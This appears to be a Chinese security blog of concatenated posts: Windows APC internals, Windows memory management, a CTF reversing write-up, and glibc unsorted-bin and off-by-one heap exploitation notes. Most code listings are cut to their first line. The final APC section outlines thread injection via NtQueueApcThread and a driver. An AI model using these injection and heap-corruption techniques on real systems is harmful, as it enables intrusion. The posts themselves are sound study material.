每一个线程都有自己的APC队列(APC queue),可以使用APIQueueUserAPC
从而将一个APC插入到线程的APC队列中。线程会调用QueueUserAPC
中指定的函数。只有将一个APC放入了线程的APC队列中,线程才有机会调用对应的APC函数。
最初我认为APC应该是一种附加在Windows操作系统中的一个特性,但是查看了内核相关代码中后才发现,APC比我想象的还要和Windows底层关联密切:
查看线程对象,能够找到一些和APC相关的内容:
1 | typedef struct _KTHREAD { |
一个线程对象使用ApcState对象记录当前的Thread对象所依附的Process对象。同时,因为在Windowes中的线程不但能够依附在当前进程上下文,在特定的场合(例如创建新的进程的时候)可能会依附到另一个进程中,因此在每一个线程对象中,都包含两个指向KAPC_STATE
对象的指针:
1 | PKAPC_STATE ApcStatePointer[2]; |
在一般情况下,ApcStatePointer[0]
指向当前进程上下文,而ApcStatePointer[1]
指向备份的进程上下文。
当一个用户态APC插入队列后,线程只会在自己处在可警告状态(alertable state)之后才会进行调用。这个可警告状态是当进程调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, WaitForSingleObjectEx
这几个函数的时候才会进入的状态。通俗的说,就是当前的进程进入一种类似于挂起的状态。如果在APC插入APC队列前,这个等待状态(也就是前文的可警告状态)结束了,则这个APC函数就不会被调用。不过相对这个APC过程就会在下一次线程进入等待状态时被调用。
PS: ReadFileEx, SetWaitableTimer, SetWaitableTimerEx, 和 WriteFileEx 函数中的回调函数,其实就是用APC过程来实现的
而具体插入一个APC,则可以通过如下的函数实现:
1 | NTSTATUS *NtQueueApcThreads( |
这个函数会往对应的ThreadHandle处插入一个用户态的APC,然后当前线程进入Alertable状态时,就会执行当前的APC请求:
以下是一个进行User Mode下APC调用的例子
1 | PVOID ApcTest() { |
测试结果输出为:
1 | Add APC1 |
当调用SleepEx时,此时线程进入alertable的状态,内核态会利用ntdll中的KiUserApcDispatcher
调用当前我们的插入到APC队列中的函数,并且以一种类似中断的方式遍历当前队列,从而完成用户态APC调用。
PS:这个地方虽然没有体现出来,不过用户态的APC只会被调用一次。即是说,一旦发生调用,当前APC就会离开队列。
当一个IO请求发起的时候,会分配一个叫做 I/O 请求包(I/O request packet, IRP)的结构体。通过同步IO线程可以构建IRP包,将其发送到设备栈(device stack)中,并且在内核中等待IRP完成。使用异步IO的话,则线程会构建IRP包并将其发送到设备栈。此时设备栈可能会立刻完成当前请求,也可能会发送一个等待状态来表面那个当前请求做出进展。当收到这个状态的时候,IRP仍然与线程相关联,可以通过中断线程,或者通过调用类似于CancelIO
的API来种猪过程。同时,这个线程可以在设备栈处理当前IRP请求的时候继续完成其他的工作。
系统通过以下几种方式来通知线程IRP请求完成了
在I/O完成端口上等待的线程不会在可警告状态下等待。 因此,如果这些线程向线程发出设置为完成APC的IRP,那么这些IPC完成将不会及时发生; 只有当线程从I/O完成端口获取请求然后恰好进入可警告的等待时,它们才会发生。
完成端口的概念和IPC相关
由于单纯看User Mode
态下的APC 调用以及微软自己的文档,并不能很清晰的了解到整个APC调用过程,我们这里用windows WRK
的相关代码对APC过程进行分析。
首先我们看到结构体
1 | // |
这个就是wrk中给出的APC相关的结构体,这里我们关注其中几个成员变量
1 | typedef enum _MODE { |
从成员变量中,我们可以知道一个APC对象要有一下几个基本特征
通过记录上下文和对应的调用函数,从而让APC在整个操作系统中能够记录下当前要进行异步调用的程序。有了可以调用的对象,自然要有一个记录当前调用对象状态的结构体,从而决定当前的调用是否要进行。这个结构体就是KAPC_STATE
1 | // APC state |
这个对象的ApcListHead
中会记录当前线程中存放的APC的状态。
为什么LIST_ENTRY
不需要写出其对应类型?这个是一个内核用的结构体,只要使用对应的宏,就可以很方便的存储各种类型的双向指针。
前面提到过,一个线程在某些情况下,是可以挂靠Attach
到其他进程中的,那么当前的APC请求就会因为上下文的切换变得有所不同。这个时候,KAPC
中自带的ApcStateIndex
成员就会展示当前的线程上下文的状态:
1 | typedef enum _KAPC_ENVIRONMENT { |
一般来说,一个APC请求的APCStateIndex
就会处于前两个状态。OriginalApcEnvironment
表示线程处在创建线程的进程中,而AttachedApcEnvironment
表示线程处在挂靠的进程中。同时,正如前文提到的,在_KThread
结构体中,存在如下变量
1 | PKAPC_STATE ApcStatePointer[2]; |
这个指针其实本质上就是
1 | ApcStatePointer[OriginalApcEnvironment] |
两个指针分别存储当前进程的APC以及挂靠进程的上下文状态。线程就是用这两个指针来保存了其所在进程的基本信息。例如在获取当前进程信息的APIPsGetCurrentProcess
中,其实现如下
1 |
|
这里获取进程最终就是通过找到了Thread指针指向的APCState中的Process,而这个APCState在未挂靠进程的时候指向ApcStatePointer[OriginalApcEnvironment]
,而挂靠后指向ApcStatePointer[AttachedApcEnvironment]
。
基本的结构体大约是介绍完了,那么APC是如何发生一次插入的呢?这里我们可以从前文提到的NtQueueApcThread
入手,学习一下如何插入一个APC:
1 | NTSYSAPI |
如上可以看到插入一个APC的全流程:
利用ObReferenceObjectByHandle
查看找到需要插入APC的Thread句柄->申请一块内核,用于临时存储之后设置的APC属性->设置当前APC的基本属性,包括对应的thread,运行环境,SystemRoutine,NormalRoutine等->其中NormalRoutine作为跳板执行ApcArgument1的真实APC插入函数->将当前设置完成的APC使用对饮API KeInserTQueueApc塞入对应的线程队列->解除对当前Thread的句柄引用(以防句柄对应对象不能被及时的收回)
这里注意到,SystemRoutine
中插入的函数叫做PspQueueApcSpecialAPC
,这个函数实际的用途就是将当前的APC对象释放:
1 | VOID |
为了避免内存泄漏,SystemRoutine中都要有一个将之前申请的内存释放的过程。然后我们检查一下当前的APC被插入到哪儿去了:
1 | BOOLEAN |
插入APC时,会检查NormalRoutine
是否为空,不为空的时候,检查ApcMode
,如果此时的APC不为KernelMode
,并且此时的KernelRoutine定义成了PsExitSpecialApc
,那么此APC会被视为是用户态的APC,该APC请求会直接插入到队首,否则的话,系统会决定将当前的APC请求插入到队伍尾部。如果没有设置NormalRoutine
,那么此时的Apc就会被视为特殊的内核APC,被插入到内核中APC中所有没有NormalRoutine
的APC的尾部。
在Windows中,Apc会在线程的Irq
下降,或者系统调用、中断或异常处理结束的时候被触发。
1 | _KiServiceExit: |
此处为每一个系统调用/中断/异常处理 都会经过的地方。当来到这个函数的时候,都会经过这个DISPATCH_USER_APC
,而这个函数最终会经过的函数如下:
1 | ;++ |
这个DISPATCH_USER_APC
函数首先会检查是否是v86模式,如果不是的话会检查当前的线程是否真的需要返回到用户态(也就是是不是为用户态的APC线程),不是的话就不会进入后面的调用过程;
之后会检查当前的线程中是否有用户态APC正准备执行(即是检查User APC Pending 标志位)如果没有的话也退出。
确认了会执行APC调用之后,首先将当年上下文保存(即所有的寄存器以及段寄存器),提升当前的IRQL至APC_LEVEL
,最后尝试执行KiDeliverApc
这里注意,这里有一段判断:
1 | AsUserApcPending |
这个地方说明,只有用户态APC准备执行的时候,整个APC才会被执行。
以上准备流程通过,就会正式进入APC调用过程.
之后就会来到这个对于APC调用的这个函数:
1 | VOID |
这里留意TrapFrame
。这个参数可以称为自陷框架
,相当于说是Windows在发生中断时,一个用于保持上下文的结构体。
这个函数非常长,我们分步骤来了解函数的流程
1 | // |
首先获取当前的前程对应的进程,并且将对应ApcState
中欸等KernelApcPending
设置为False
,表示此时没有在等待的内核APC调用(因为此时会对当前所有的内核APC进行调用)。如果此线程不允许进行Apc调用的话,那么直接进入结束环节:检查当前的进程是否为ApcState
对应进程,并且还原当前线程的陷阱帧(也就是这个线程的原上下文)
1 | KeMemoryBarrier(); |
通过遍历当前线程的ApcState.ApcListHead
从而将用户态APC和内核态APC都进行一次完整的遍历。首先检查当前的队列中是否有APC请求,有的话需要检查队列是否为空,然后会取出当前队列首部中的APC对象,之后会尝试检查当前APC对象中是否包含NormalRoutine(注意,此时是Kernel Mode下的APC请求,但是仍然需要检查NormalRoutine)
KernelApcInProgress
为False,以及KernelApcDisable
未被设置为0,确保当前的NormalRoutine
不为空,然后对调用当前的NormalRoutine,之后重新提高当前的IRQL,并且将KernelApcInProgress
值为TRUE。通过反复的遍历,最终会将当前线程中的内核态APC遍历完成。
综上所述,内核态APC调用发生条件如下:
发生在系统调用/异常处理/中断处理过程中
内核态APC队列不为空
KernelRoutine
将全部被调用
NormalRoutine
调用前,会检查
KernelApcInProgress
为False,即当前未进行NormalRoutine调用KernelApcDisable
为0,即当前Apc未开启注意:即使是内核态apc队列,也只有一个用户态函数(NornalRoutine)会在单次线程调用中被触发
1 | // |
与内核态apc调用最大的不同在于,用户态的apc调用没有用一个大大的while
循环包括,这意味着仅仅只有一个用户态Apc会在这个时候被调用。用户态APC调用和内核态APC中的NormalRoutine调用差不多,也要检查以下条件
之后也如Kernel mode一样,调用KernelRoutine,并且检查NermalRoutine是否为空,如果为空的话将当前线程设置为alertable状态,其实也就是将UserApcPending设置为TRUE(也就是前文提到过的,处于这个状态下的线程才会触发APC),如果不为空,这调用KiInitilizeUserApc
函数。
1 | VOID |
根据当前的ContextRecord
,这个函数会决定当前的TrapFrame
中的ContextRecord
存放的内容。
这里会看到,函数最后会回到_KiServiceExit
。此处并没有修改返回值,为什么呢?关键就在这个TrapFrame
结构体里面。
这个结构体是Windows系统调用的一个重要的结构体,这个结构体会依据当前进入内核的原因,可以分别成为异常,中断和自陷
,也就是异常处理,cpu中断,系统调用这些过程中会触发,这个结构整体是PKTRAP_FRAME
。结构体中存储了进入内核前,用户态下的所有寄存器(即当前的执行的上下文)。
1 | typedef struct _KTRAP_FRAME { |
当完成了KeDeliverAPC
之后,整个_Ki
就会结束,此时就会离开系统调用来到用户态。正常情况下TrapFrame->Rip
会指向原先的地址地址,而此时却被修改成了KeUserApcDispatcher
,因而此时的用户态APC获得了执行机会
1 | /*函数原型摘自ReactOS*/ |
这个地方翻译一下,就是调用了
1 | NormalRoutine(NromalContext, SystemArgument1, SystemArgument2, Context ); |
通过修改TrapFrame
的方式,巧妙的让内核调用返回用户态的时候进入了用户态Apc的分发函数。在函数调用结束的时候,会来到一个叫做NtContinue
的函数上,这个函数的内容如下:
1 | ;++ |
可以看到,函数做了三件事情
ContextRecord
赋值成TrapFrame
Test alertable
,此时线程再次进入可以执行APC的状态KiServiceExit2
,系统调用退出环节。在NtContinue
这个函数中,首先会将之前的TrapFrame
保存,然后调用函数KiContinue
。这个函数会检测当前的Context
是否是来自用户空间的,如果是的话会调用KicontinuePreviuseModeUser
将当前的空间复制到内核态,然后调用KeContextToKframes
将当前的ContextRecord
赋值成TrapFrame
,相当于是恢复了真正的调用上下文。然后会进入KiServiceExit2
1 | ;++ |
这个函数本质上和KiServiceExit
做的事情是一样的,出了最后退出System Service的时候,少了声明NoRestoreSegs, NoRestoreVolatile
,因为此时的Context
已经在之前的NtContinue
中得到了赋值。同时,这个函数也会调用DISPATCH_USER_APC
,这就意味着此时未执行的用户态APC会被继续执行,直到APC队列为空。
APC分为两种:内核态APC和用户态APC
内核态APC也分两种:有NormalRoutine
和没有NromalRoutine
的
但是无论那种APC都包含·KernelRoutine
在内存中以双向链表的形式存在,大致如下
当前的线程中保存了一个ApcState
和一个SaveApcState
,分别记录了创建线程所在进程的APC请求,以及线程所挂靠的进程的APC请求
通用条件:当发生系统调用/异常处理/中断的时候 ,并且此时存在用户态APC
内核态APC中的NormalRoutine
:ApcState->KernelInProcess == FALSE
,也即当前没有其他内核态程序执行
用户态APC整个调用时机:UserApcPending不为FALSE,即是当前有用户态APC正在挂起等待,也即是线程处于Alertable状态
1 | 内核态无NormalRoutineAPC -> 内核态有NormalRoutineAPC -> 用户态APC |
先调用KernelRoutine
再调用NormalRoutine
插入APC
1 | NtQueueApcThread = (NTSTATUS(NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll, "NtQueueApcThread"); |
调用APC时机:等待线程变为alertable
内核态APC只能在内核态下完成注入,所以这个时候需要借助driver
帮我们实现,具体流程可以如下:
1 | // 首先获取所要注入的线程的句柄 |
之后等待线程发生系统调用/中断调用/异常等会陷入到内核的过程即可。
这篇文章是自毕业前开始写,一直写到了毕业后。从毕业前完成研究->9月份前完成研究->过年前完成研究
这样不停的咕咕咕,最后终于在3月份前完成了。。实在也是不容易。中途参考了各种各样的书和代码(不知道为啥我看到的wrk
和《Windows 内核情景分析》的不太一样。。。只好硬着头皮按照我自己的思路来写了),第一次正儿八经的正向研究内核,中途放弃了好多次。后来工作了半年,中途也对Windows内核有了一定的了解,慢慢发现有些东西和这个apc调用串了起来,于是又重新捡起来看,这次终于也是看完了。
就目前的水平来说,可能分析的不太完整,以后更加熟悉内核,估计也会回来这边进行一定的修改(大约不会咕掉?)
Windows内核情景分析 5.8 Windows的APC机制
http://www.weixianmanbu.com/article/33.html
Windows 和 Linux 很多地方都相似,比如说虚拟地址的使用,内存的分页分段等等。但是相较而言,Windows 某些内存管理会相比较来说更加上层(?或者反过来,更加底层?)
Windows 上的地址空间的划分大约是这样的:
1 | +-------------------+-------------------------+---------------------------------------+ |
虽然用户模式下的内存是进程可以控制的,但是进程A是不能够访问到进程B中用户模式下任意一个地址的内容。Windows 中的所有.exe|.dll
都会载入到用户态中。
如上表,内核模式几乎占据了一半的地址空间,但是其实上用户可以通过boot configuration data(BCD)
指令来设置当前用户的地址空间
1 | BCD /set IncreaseUserVA 3072 ; 当前用户的地址空间上升到3GB |
不过如果这样处理之后,Windows 内核的性能就会下降,导致进程数量的创建受限,运行速度下降等等
因为用户模式的最高位在32bit下是0(0x7xxxxxxx),所以有一些应用的程序会将当前指针的最高位用作标志位。当其应用访问指针的时候会检查这个标志位。所以如果64bit 的程序简单的使用了更多地址的话,就会导致这个标志位被覆盖,从而导致应用的崩溃。为了保护这一点,Windows 在链接阶段的时候提供了标志位/LARGEADDRESSA WARE
,如果使用这个标志位,程序才会使用更高位的地址,否则程序的地址将会限制在0x000000007ffeffff
以下。这个运行环境就被称为address sandbox(地址空间沙箱)
Windows 下的内存存在的形式主要有这几种
在Windows 下的内存分配得到一个可以使用的内存主要分为两步:
Reserve 得到的 Memory 暂时未提交给应用,因此是不能使用的。但同时其相当于占据了一部分的地址空间,这部分的地址空间在之后的程序运行中也不能被其他的用途占用(除非被释放了)
系统创建一个进程的时候,就会赋予其一个完整的地址空间。我们需要调用函数VirutalAlloc
来预定(Reserve)其中的区域(region)
分配地址空间的时候,系统会确保当前的起始地址正好是分配粒度(allocation granularity)的整数倍(也就是所谓的对齐)。目前来收,大部分的平台默认的分配粒度都是64KB(0x10000),也就是说,系统会把分配的内存地址对其到这个地址上
但是对于操作系统来说不存在这个限制,也就是说操作系统为我们申请的内存空间不会被对齐。操作系统也需要申请内存空间,包括PEB,TEB还有内建的堆等等
预定的空间大小也是需要对齐的,预定空间大小通常是和页面大小(4KB)对齐的。如果我们申请的空间大小为10KB,那么x32/64的电脑会强制帮我们申请一个12KB大小的堆
如果程序之后不使用预定地址的时候,应通过VritualFree
将当前的地址空间释放
光是预定空间还是不能使用的,我们还需要向操作系统提交我们的预定地址,让操作系统为地址分配物理存储器。这个过程被称为调度(Committing)。物理存储器始终都是以页面为单位来进行调拨的。调拨的时候使用的函数也是VirtualAlloc
。
当我们调拨的时候,其实我们不需要为整个预定地址空间都进行调拨,可以指定为整个区域中的第二个和第四个页面进行调度。
同样,当我们不再使用物理存储器的时候,我们应该撤销调拨(decommitting),同样也是通过VirtualFree
来释放。
物理存储器?
物理存储器包括物理内存,硬盘这类存储介质。但是具体要用哪个取决于整个映射执行的过程。
刚刚讲了很多,不知道大家有没有这样的问题:
都说每个进程的地址空间都有32bit那么大(对于32位而言),也就是4GB都占满了。但是计算机中有好多个进程在运行,怎么放得下呢?
我玩的游戏都有 30GB ,但是如果整个游戏都放到内存里的话其他的程序又怎么运行呢?
过去内存条本身有多大,计算机可用的内存就有多大。但是现在的计算机会采取虚拟内存的技术,将磁盘中的一部分物理内存分配出来作为内存文件,这类文件就称为 页交换文件(paging file)。也就是说,当程序在访问一个地址的时候,这个地址所映射的可能不是一个内存的地址,而是一个磁盘上的数据,这个时候就会和《计算机组成原理课程》中提到的一样,会发生 缺页。当发生缺页之后,程序会尝试从内存中寻找一块空闲内存页(找不到的时候,会用一个算法选取一个),然后和页交换文件中的页进行交换。
之前提到的申请地址空间并且调拨物理存储器的时候,其实本质上 也就是从硬盘中的页交换文件分配 得到。只有在发生了缺页中断之后,才会将当前的地址空间放入内存。
当一个线程访问所属进程的地址空间的地址的时候,可能会有两种情况
那么整体的工作流程大致如下
如果频繁的发生内存和页交换文件之间进行页面复制,机器就会花费大量时间在内存处理上,这个过程称为 硬盘颠簸(thrash)。如果颠簸过于严重,就会导致当前系统运行过慢。
我们知道每一个exe或者dll都会被加载到内存中执行,那么是不是所有的exe/dll都会在加载后放入页交换文件中呢?
系统在加载exe文件的时候,实际上并不会将其放入到页交换文件。系统会计算出要加载的exe/dll的大小,然后在进程中预定一个区域用于存放文件的代码和数据,之后会直接将 该区域与文件本身所在的物理存储器相关联 ,相当于说文件本身(file image 文件映像)就被映射到了内存中。
这种把一个位于硬盘上的文件映像(也就是一个.exe或者.dll)用作地址空间区域对应的物理存储器时,这个文件映像就是 内存映射文件(memory mapped file)。
一般来说,dll/exe被载入时,系统就会预定地址区域(region),并且把当前的文件映像映射到这个区域中。
但是其实系统提供了另一种形式,支持将数据文件映射到地址空间上,之后会介绍(类似于linux 中的map函数)
系统其实默认是会在每一个磁盘下都组织页交换文件的,但是其实我们可以手动更改其大小。
之前介绍过内存的类型,这里对其进行进一步的解释:
闲置
即是说当前区域中的虚拟地址没有任何后备存储器。改地址空间尚未预定(未Reserve)。
私有
区域中的虚拟地址以系统的页交换文件作为后备存储器
映像
区域中的虚拟地址在最初的时候以映像文件(.exe/.dll)作为后备存储器。但是如果发生了写入(例如数据段被写入)则发生页交换,之后会用页交换文件作为后备存储器。
已映射
区域中的虚拟地址在最初的时候以内存映射文件(数据文件)作为后备存储器。但是如果发生了写入(例如数据段被写入)则发生页交换,之后会用页交换文件作为后备存储器。
PE文件在进行映射的时候,每个 段(section 都必须另起一页,而且起始地址必须要是系统页面大小的整数倍。
页大小目前默认是4KB
区分一下: 段的起始地址必须是系统页大小整数倍(4KB),而整体区域必须是粒度的整数倍(最小64KB)
一个 **块(block)**就是一个连续的页面,同一个块里面是连续的页面,这些页面的具有相同的保护属性,而且会以 相同类型的物理存储器作为后备存储器。
Windows 下有三种使用内存的方式
对于许多基本信息(页面大小,分配粒度等)我们不应该自己硬编码在程序中,而是应该使用系统API去得到进程初始化时设置的变量:
1 | VOID GetSystemInfo(LPSYSTEM_INFP psi); |
注意这个API在32bit程序运行在64bit下的(Windows 32bit On Windows 64bit,WOW64模拟层)情况时,此时用这个查询得到的值和同一个系统中,64bit运行得到的值有所不同。
查看虚拟内存状态的话,可以使用下列API:
1 | BOOL GetProcessMemoryInfo( |
利用这个API能够查看到当前运行的进程中可能用到的最大内存,也称为 工作集。为了提高程序性能,我们可以考虑减小工作集。
对于预定(Reserve)|调度(Commit)虚拟内存的时候,我们统一使用下列API
1 | PVOID VirtualAlloc( |
对于参数fdwAllocationType,在预定内存的时候需要传入MEM_RESERVE
,而调度内存的时候传入MEM_COMMIT
。并且预定区域和调度物理存储器的时候的保护属性一般是相同的。不过在预定阶段,分配的大小始终是64KB对其的,而调度的时候则是按照4KB对齐。如果不想分开来写,可以写成如下形式同时完成预定的和调度
1 | VirtualAlloc(NULL, 0x1000 * 4, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); //注意第二个参数 |
相应的,为了撤销调拨的物理存储器和释放对应区域,可以通过调用下列API
1 | BOOL VirtualFree( |
这个函数第一个参数必须接受一个区域的基地址(也就是之前在VirtualAlloc
的返回值)在fdwFreeType
为MEM_RELEASE
的时候会将传入的地址中的所有地址撤销调度并且释放改区域。而传入MEM_DECOMMIT
的时候,可以指定撤销的调度地址的大小。(注意不能取消指定范围內的区域)
一个页面的保护属性修改,我们可以使用这个API
1 | BOOL VirtualProtect( |
可以修改指向内存的基地址开始的,指定大小的区域的(当然这两个值最后都会页对齐)进行修改。
Windows中对于栈的操作也是按照虚拟内存的管理方式来管理的。每一条线程,都会由系统创建一个线程栈,这个线程栈就是一个由系统预定并且调度的空间。一般来说,系统会预定一块 1M 大的区域,然后在其中调度两页来使用。这些参数其实都是可以定制的:
可以看到,在第二个调度的页面中,是一个 防护页面(guard page)。
当线程的栈越来越深,试图访问防护页面的内存的时候,系统就会得到通知。此时系统会执行如下逻辑:
这个技术能够保证 只有线程需要的时候才给栈调度足够的存储器,从而减小存储器的使用。
注意,当调用不断加深的时候,整个栈会如图所示:
如图,如果此时栈还要加深的话,那么此时栈底的这个页面也不会被标志为防护页面。如果程序继续运行到这,系统为栈底调度页面的时候,就会抛出一个错误EXCEPTION_STACK_OVERFLOW
。系统将使用结构化异常处理(structure exception handling,SEH)来处理这个问题。当弹出这个错误后,不单单时这个线程,整个进程都将被收回控制权。
为什么不对最后一个页面调度页面,而是用其作为边界检测呢?
若相邻的区域中,下一个地址也已经被调度了,那么就会 发生内存被破坏而无法察觉的情况:
另外一种难以察觉的溢出就是 栈下溢,例如:
1 | int TestForStackOverflow(){ |
如果对应的位置上是另一条线程的已调拨区域,就可能会引发访问违规却无法察觉。比如这个操作:
1 | DWORD WINAPI ThreadFunc(PVOID pvParam){ |
由于栈后方正好有一个空间,就导致程序能够溢出并且不发生错误。
PS:这里的栈检查不是指放置canary的那种检查
对于一个调度默认大小的栈(一页4KB)来说,这样的代码会带来很大的问题
1 | void Function(){ |
如上,我们第一次访问的地址就低于了 防护页面的地址,而之前的逻辑中我们可以知道,我们是首先访问了防护页面,才会为我们调度新的页面地址。如果严格按照上述逻辑的话,此时应该会发生访问越界。为了防止这个错误,编译器会插入一些代码来调用C运行库的栈检查函数。因为栈编译期间,就能够知道一个栈需要的大小。如果需要的栈空间大于目标系统的页面大小,编译器就会自动插入代码来调用栈检查函数。这个栈检查函数大致逻辑如下
1 | void StackCheck(int nBytesNeededFromStack){ |
说起来这篇好像内容缺了堆相关的,记起来之后会补上(咕咕咕??)
]]>题目之所以叫叹息之墙似乎是因为这个题目在IDA里面看起来是这样的:
太吓人了。。。
首先执行程序:
输入数字,然后程序内部会对数字进行运算处理,从而检查输入是否正确。不过其中最坑的地方在于不超过9个数字。这样似乎输入的限制就有、、小了。。。
逆向第一步自然是分析逻辑。。。但是这个程序这么大,实在是难以分析的样子。不过调试了几下之后发现了几个规律:
对于第三点,我们可以看到,程序中大部分的混淆逻辑都是这个样子的
1 | .text:008C3BE9 mov bh, [esi+39Ch] |
还有一种是使用add
/sub
的混淆
1 | .text:008C2E4B add eax, ecx |
这两种运算本质上并没有做什么有意义的事情,但是如果出现strlen
,__aullrem
这类函数的话,很有可能就是一个重要的内容,于是这边用idapython标记了一下当前的程序中用到这些函数的地方:
1 | from idaapi import * |
顺着这几个地方,找到了输入进行处理的逻辑
1 | .text:008EE9CA lea eax, aXD ;"x%d" |
这里出现了第一个全局变量GlobalIndex,这个变量会将通过了程序验证的数字存放在这个整数数组中。r顺着这个变量,找到了第二个全局变量
1 | .text:0090C195 loc_90C195: ; CODE XREF: sub_8C9FF0+1299↑j |
吐槽一下,这个变量其实有好几个地方都有引用,但是似乎不是所有的地方都执行了一遍。。。
这个TargetMagic
是一个存放了351个整数的变量。观察上面的这段逻辑,我做出一个猜测:这个地方可能在操作一个64bit的数字,因为这个地方用了adc汇编(好像没有啥道理?只是直觉)
整体的逻辑大概是这样的:
1 | int GlobalIndex[]; |
大概就猜测到这个地方,好像就没有思路了。。。于是我们检查一下有没有什么可疑的字符串:
1 | .rdata:00958218 asc_958218 db '格式错误',0Ah,0 ; DATA XREF: sub_8C9FF0:loc_8F7DB2↑o |
找到这个地方又有了新的线索:这一段显然是用于判断输入逻辑的,不过我们发现跟踪进去并不方便,因为这个程序本身被切分成了跳转模块和执行模块,这个跳转模块和执行模块之间的关系还特别复杂,存在很多用于混淆视听的需要跳转模块。。所以我这里决定用IDAPython再次辅助检查程序。通过使用idapython找到当前模块中的跳转和入口的对应关系,然后进行程序流的逆向追踪,然后大致就写了一个忙放辅助的脚本
1 | #!python |
emmmm…里面也有一些变量命名有点奇怪。。不过最后还是成功的找到了几个关键的调试逻辑
1 | .text:0090D170 mov eax, [esi+3024h] |
通过脚本分析可以发现,这个地方的逻辑会最终影响是否跳转到“成功”逻辑上,因此这个地方显然是一个关键的函数逻辑,其中这个SRC
和DST
分别对应字符串eux2
和nak4
。不过这个地方其本身是作为一个整数存在的。这段逻辑翻译一下的话就是:
1 | int num = GroupMul(sum, SRC); |
于是现在的关键变成了这个GroupMul
函数。我们跟踪进去,会发现两个关键的比较逻辑:
1 | .text:008C5685 mov eax, [esi+5B0h] ; sum |
这个关键逻辑处,会将当前我们传入的sum处理,之后会处理SRC变量,翻译一下就是:
1 | sum >>= 1; |
然后是第二段
1 | .text:008C561C mov eax, [esi+5B8h] |
这一段则是处理关键的返回值的。
将上面两段汇编合并一下,就能够得到一个这样的函数:
1 | while(sum != 0){ |
调试中发现,第二段判断逻辑似乎不是每一次都会进入的,于是必然是有一个判断的逻辑在。顺着跳转的魔数返回寻找,能够找到这样的两段:
1 | .text:008C42D6 and edi, ecx |
这两段代码正好决定了此时的程序会不会进入第二段影响返回值(这里设为A)的判断逻辑。通过调试发现,这里是在检查sum的最低位是否为1。那么此时整个判断逻辑就能够重现了:
1 | while(sum != 0){ |
至此,整个程序逻辑大概为:
1 | int list = read_cont();//这里还有输入格式检错 |
有了整体逻辑,那么此时我们的目标就很明确了:
TargetMagic
中的数字,影响sum的值,从而影响跳转如果仔细思考上述逻辑的话,会发现其实这个运算过程就是SRC的sum次方模0xFFA1CF8F,于是还能进一步化简为:
1 | A = (SRC ** sum)%0xFFA1CF8F |
这个时候,SRC的运算相当于是一个群
因此我们第一个目标就很明确了
(SRC**sum)%0xFFA1CF8F == DST
于是尝试爆破:
1 | for (i = 0; i < 0x900000000; i++) { |
这里考虑到,TargetMagic
中的数字最大也为0xfeb053fc,若9次都取到这个数字也不会超过0x900000000,所以这里爆破次数仅为
[0,0x900000000]
然后能够得到这几个数字:
1 | [0x55121c15,0x154b3eba3,0x25455bb31,0x353f78abf,0x453995a4d,0x5533b29db,0x652dcf969,0x7527ec8f7,0x852209885] |
不过之后就很麻烦了,如果要从这么多的数字里面找到几个数字,相加正好又是我们目标值中的其中一个,实在是太复杂了。瞎摆弄的时候,突然发现如下规律
1 | ['0xf17b92', '0x1e2f724', '0x2d472b6', '0x3c5ee48'.... |
无意中对数组进行了排序(原先目的忘记了),突然发现第一个数字是后几个数字的倍数,于是想到
会不会是整个数组都是由这个数字生成的呢?
于是试着找了一下,总共有270个数字是由其生成的。发现这个思路可行,于是写了个脚本,找到了其中所有的生成元:
1 | tom =[0]*9 |
于是这个题目突然之间转变成了如下的形式
将这几个数字设为变量a,b,c,d…然后进行一个多项式求解,等式的右边就是之前爆破出来的幂次。哪一个幂次能找到合适的解,就利用这个解反推出我们选取的TargetMagic
于是这里使用Z3进行计算:
1 | # -*- coding:utf-8 -*- |
之后能够发现,在幂次为0x453995a4d
的时候,能够得到一个解:
1 | 1171109940, 553392840, 3027384360, 3958887240, 1559561640, 2450739720, 857758902, 2859196340, 2144397255 |
我们找到其中每一个下标,最后翻出其位置并且排序(题目要求),就能够得到最终的答案:
完结撒花!
这种攻击方式是一个跳板。通过这种攻击,我们能够实现一次任意位置写固定值(unsorted_chunks(av),也就是当前main_arena中存放unsorted bin 的地址)
能够写一个被free了的堆
将某个地址写为unsorted_chunks(av).
_IO_list_all
完成攻击我们这里拿how2heap的一个例子来看一下:
1 |
|
去掉了一些没用的代码。这里帮忙理解一下:
由于在unsorted bin 的malloc过程中,源代码的逻辑如下:
1 | while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) |
这里我们根据源码可以知道,此时unsorted bin 并没有使用unlink,而是自己简单的实现了一个从链表中摘除chunk的逻辑。
我们这里复习一下unsorted bin的特征
bin1->fd = bin2, bin2->bk = bin1, main_arena->bk = bin1, main_arena->fd = bin2
1 |
|
用上图的例子描述以下unsorted bin
中的摘除逻辑翻译以下的话,是这样的:
将最接近main_arena的 unosoted bin[0] 摘下来,让其main_arena
中unsorted bin
的bk指向 unsorted bin[1]
然后让unsorted bin[1]的fd指向main_arena的地址
如果满足(特殊情况)
如果请求大小 nb = 当前unsorted bin 的size,那么会将当前堆块直接交予用户
如果请求大小 nb != 当前unsorted bin 的size,那么此时会将所有的堆块按照大小放入smallbin或者largebin中,之后:
所以攻击的时候,申请大小时一定要(1)和堆中的某一个大小一致(2)处于堆块链的末尾
根据例子中可以看到,其准备修改一个栈上的值为unsorted bin 在main_arena中的地址,结果如下:
可以看到,值已经被修改成功。
关于修改_IO_list_all
的攻击思路,可以参考pwnhub old_chall
一个典型的 heap pwn 的题目,我们来看一下其源码:
1 | puts("Size:"); |
其中
1 | struct Name{ |
这里首先申请了一个用来存放Content
的堆块,大小<0x200,之后申请了一个固定大小为0x2c的Name
堆块。其中的content指针指向我们的Content,并且记录下大小,写入tag之后,会读入Name
,这个Name的大小为0x20,但是这个地方读入了0x21个字节,于是造成了一字节溢出————off by one.
申请的Name
数组会放在一个堆上的空间,这里称为name_array
。每次在create_letter
时会使用realloc进行分配。这个name_array
维护一个count
变量,每次添加Name
的时候自动增加1,但是删除的时候不进行数据的变动。
数据打印的逻辑如下:
1 | for ( i = 0; ; ++i ) |
很简单,就是根据count
直接打印name_array
中记录的Name
变量。
删除逻辑为:
1 | free(a1->letters_array[index]->content); |
首先freeContent
,之后将存储Content
的Name
也free掉,并且将当前记录在name_array
指针改为0。并且如果继续申请新的堆块,这边也不会重新利用这些空间。
分析完大致逻辑,可以总结以下几个点
off by one
的漏洞 --> 可以进行 heap overlapName
